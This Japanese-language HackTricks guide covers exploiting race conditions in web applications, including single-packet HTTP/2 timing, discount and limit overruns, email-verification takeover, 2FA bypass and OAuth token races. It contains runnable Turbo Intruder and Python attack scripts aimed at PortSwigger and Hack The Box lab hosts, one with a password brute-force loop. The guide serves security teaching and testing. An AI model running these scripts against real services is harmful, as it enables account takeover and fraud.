# レースコンディション
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %} {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
{% endhint %} {% hint style="warning" %} この技術を深く理解するためには、[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)の元のレポートを確認してください。 {% endhint %} ## レースコンディション攻撃の強化 レースコンディションを利用する際の主な障害は、**処理時間にほとんど差がない状態で、複数のリクエストが同時に処理されることを確実にすること—理想的には1ms未満**です。 ここでは、リクエストを同期させるためのいくつかの技術を紹介します: #### HTTP/2シングルパケット攻撃対HTTP/1.1ラストバイト同期 * **HTTP/2**:単一のTCP接続で2つのリクエストを送信することをサポートし、ネットワークのジッターの影響を軽減します。ただし、サーバー側の変動により、2つのリクエストでは一貫したレースコンディションの悪用には不十分な場合があります。 * **HTTP/1.1 'ラストバイト同期'**:20-30のリクエストのほとんどの部分を事前に送信し、小さな断片を保持して一緒に送信することで、サーバーへの同時到着を実現します。 **ラストバイト同期の準備**には以下が含まれます: 1. ストリームを終了せずに最終バイトを除いたヘッダーとボディデータを送信します。 2. 初回送信後に100ms待機します。 3. TCP\_NODELAYを無効にして、Nagleのアルゴリズムを利用して最終フレームをバッチ処理します。 4. 接続を温めるためにピングを行います。 保持されたフレームのその後の送信は、Wiresharkを使用して確認できる単一パケットでの到着をもたらすべきです。この方法は、通常RC攻撃に関与しない静的ファイルには適用されません。 ### サーバーアーキテクチャへの適応 ターゲットのアーキテクチャを理解することは重要です。フロントエンドサーバーはリクエストを異なる方法でルーティングする可能性があり、タイミングに影響を与えます。無関係なリクエストを通じてサーバー側の接続を事前に温めることで、リクエストのタイミングを正規化できるかもしれません。 #### セッションベースのロックの処理 PHPのセッションハンドラーのようなフレームワークは、セッションごとにリクエストをシリアライズし、脆弱性を隠す可能性があります。各リクエストに異なるセッショントークンを使用することで、この問題を回避できます。 #### レートまたはリソース制限の克服 接続の温めが効果的でない場合、ダミーリクエストの洪水を通じてウェブサーバーのレートまたはリソース制限の遅延を意図的に引き起こすことで、レースコンディションに適したサーバー側の遅延を誘発し、シングルパケット攻撃を促進できるかもしれません。 ## 攻撃の例 * **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo intruder**に送信できます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)。リクエスト内の**`%s`**の値をブルートフォースしたい値に変更できます。例えば、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように。そして、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
異なる値を**送信する**場合は、クリップボードからのワードリストを使用するこのコードで変更できます: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} ウェブがHTTP2をサポートしていない場合(HTTP1.1のみ)、`Engine.BURP2`の代わりに`Engine.THREADED`または`Engine.BURP`を使用してください。 {% endhint %} * **Tubo Intruder - HTTP2シングルパケット攻撃(複数のエンドポイント)**: 1つのエンドポイントにリクエストを送信し、その後RCEをトリガーするために他のエンドポイントに複数のリクエストを送信する必要がある場合、`race-single-packet-attack.py`スクリプトを次のように変更できます: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * **Repeater**でも、Burp Suiteの新しい「**Send group in parallel**」オプションを使用できます。 * **limit-overrun**の場合、グループに**同じリクエストを50回**追加するだけで済みます。 * **connection warming**のために、**グループ**の**最初**にウェブサーバーの非静的部分への**リクエスト**を**追加**することができます。 * **delaying**プロセスのために、**1つのリクエストと別のリクエストの間**に**追加のリクエストを挿入**することができます。 * **multi-endpoint** RCの場合、**隠れた状態**に送信される**リクエスト**を最初に送信し、その後に**隠れた状態を悪用する50のリクエスト**を送信することができます。
* **自動化されたPythonスクリプト**: このスクリプトの目的は、ユーザーのメールを変更し、新しいメールの検証トークンが最後のメールに届くまで継続的に確認することです(これは、コード内でメールを変更できるRCが見られたためで、検証が古いメールに送信されることが可能でした。なぜなら、メールを示す変数が最初のもので既に設定されていたからです)。\ 「objetivo」という単語が受信したメールに見つかると、変更されたメールの検証トークンを受け取ったことがわかり、攻撃を終了します。 ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### Raw BF 以前の研究の前に、RCを引き起こすためにできるだけ早くパケットを送信しようとしたいくつかのペイロードがありました。 * **Repeater:** 前のセクションの例を確認してください。 * **Intruder**: **Intruder**に**リクエスト**を送信し、**オプションメニュー**内で**スレッド数**を**30**に設定し、ペイロードとして**Null payloads**を選択し、**30**を生成します。 * **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **RC Methodology** ### Limit-overrun / TOCTOU これは、**アクションを実行できる回数を制限する場所に現れる** **脆弱性**の最も基本的なタイプのレースコンディションです。例えば、ウェブストアで同じ割引コードを何度も使用することです。非常に簡単な例は[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)**に見られます。** この種の攻撃には多くのバリエーションがあります: * ギフトカードを複数回利用する * 製品を複数回評価する * アカウント残高を超えて現金を引き出したり転送したりする * 単一のCAPTCHAソリューションを再利用する * アンチブルートフォースレート制限を回避する ### **Hidden substates** 複雑なレースコンディションを悪用することは、隠れたまたは**意図しないマシンのサブステート**と相互作用する短い機会を利用することを含むことがよくあります。これにアプローチする方法は次のとおりです: 1. **潜在的な隠れたサブステートを特定する** * ユーザープロファイルやパスワードリセットプロセスなど、重要なデータを変更または相互作用するエンドポイントを特定します。以下に焦点を当てます: * **ストレージ**:クライアント側のデータを扱うエンドポイントよりも、サーバー側の永続データを操作するエンドポイントを優先します。 * **アクション**:新しいデータを追加するよりも、既存のデータを変更する操作を探します。これらの方が悪用可能な条件を作成する可能性が高いです。 * **キー**:成功した攻撃は通常、同じ識別子(例:ユーザー名やリセットトークン)に基づく操作を含みます。 2. **初期プロービングを実施する** * 特定したエンドポイントに対してレースコンディション攻撃をテストし、期待される結果からの逸脱を観察します。予期しない応答やアプリケーションの動作の変化は脆弱性を示す可能性があります。 3. **脆弱性を示す** * 脆弱性を悪用するために必要な最小限のリクエスト数に攻撃を絞り込みます。通常は2回です。このステップでは、正確なタイミングが関与するため、複数回の試行や自動化が必要になることがあります。 ### 時間に敏感な攻撃 リクエストのタイミングの精度は脆弱性を明らかにすることができ、特にタイムスタンプのような予測可能な方法がセキュリティトークンに使用される場合に顕著です。例えば、タイムスタンプに基づいてパスワードリセットトークンを生成すると、同時リクエストに対して同一のトークンが生成される可能性があります。 **悪用するには:** * 単一パケット攻撃のような正確なタイミングを使用して、同時にパスワードリセットリクエストを行います。同一のトークンは脆弱性を示します。 **例:** * 同時に2つのパスワードリセットトークンをリクエストし、それらを比較します。一致するトークンはトークン生成の欠陥を示唆します。 **これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **をチェックしてください。** ## Hidden substates ケーススタディ ### アイテムを支払い追加する この[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)をチェックして、**支払い**を行い、**追加のアイテムを追加する**方法を確認してください。**それに対して支払う必要はありません。** ### 他のメールを確認する アイデアは、**メールアドレスを確認し、同時に別のものに変更する**ことで、プラットフォームが変更された新しいものを確認するかどうかを調べることです。 ### 2つのメールアドレスにメールを変更する Cookieベース [**この研究**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる脆弱性があり、**1つのメールのメール確認トークンを別のメールに送信する可能性があります。** **これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **をチェックしてください。** ### 隠れたデータベースの状態 / 確認バイパス **2つの異なる書き込み**が**データベース内に情報を追加するために使用される**場合、**最初のデータのみがデータベースに書き込まれた**小さな時間の部分があります。例えば、ユーザーを作成する際に、**ユーザー名**と**パスワード**が**書き込まれ**、**新しく作成されたアカウントを確認するためのトークン**が書き込まれます。これは、短い時間の間、**アカウントを確認するためのトークンがnullである**ことを意味します。 したがって、**アカウントを登録し、空のトークン**(`token=`または`token[]=`または他のバリエーション)で確認するために複数のリクエストを送信することで、メールを制御していないアカウントを**確認する**ことができる可能性があります。 **これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **をチェックしてください。** ### 2FAをバイパスする 以下の擬似コードは、セッションが作成されている間に**2FAが強制されていない**非常に短い時間があるため、レースコンディションに脆弱です: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### OAuth2 永続的な持続性 いくつかの [**OAUth プロバイダー**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) があります。これらのサービスは、アプリケーションを作成し、プロバイダーが登録したユーザーを認証することを可能にします。そのためには、**クライアント**が**あなたのアプリケーション**に**OAUth プロバイダー**内のデータにアクセスすることを**許可する**必要があります。\ ここまで、google/linkedin/githubなどの一般的なログインで、"_アプリケーション \ があなたの情報にアクセスしたいと考えています。許可しますか?_"というページが表示されます。 #### `authorization_code` におけるレースコンディション **問題**は、あなたが**それを受け入れる**と、自動的に悪意のあるアプリケーションに**`authorization_code`**が送信されるときに発生します。その後、この**アプリケーションはOAUthサービスプロバイダーのレースコンディションを悪用して、あなたのアカウントの**`authorization_code`**から複数のAT/RT**(_認証トークン/リフレッシュトークン_)を生成します。基本的に、あなたがアプリケーションにデータへのアクセスを許可した事実を悪用して、**複数のアカウントを作成します**。その後、あなたが**アプリケーションにデータへのアクセスを許可しなくなると、1対のAT/RTが削除されますが、他のものはまだ有効です**。 #### `Refresh Token` におけるレースコンディション 一度**有効なRT**を**取得すると、複数のAT/RTを生成するためにそれを**悪用しようとすることができます**。さらに、ユーザーが悪意のあるアプリケーションにデータへのアクセスの権限をキャンセルしても、**複数のRTはまだ有効です**。 ## **WebSocketsにおけるRC** [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) では、**レースコンディションをWebソケットでも悪用するために、並行してWebSocketメッセージを送信するJavaのPoCを見つけることができます**。 ## 参考文献 * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %}
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}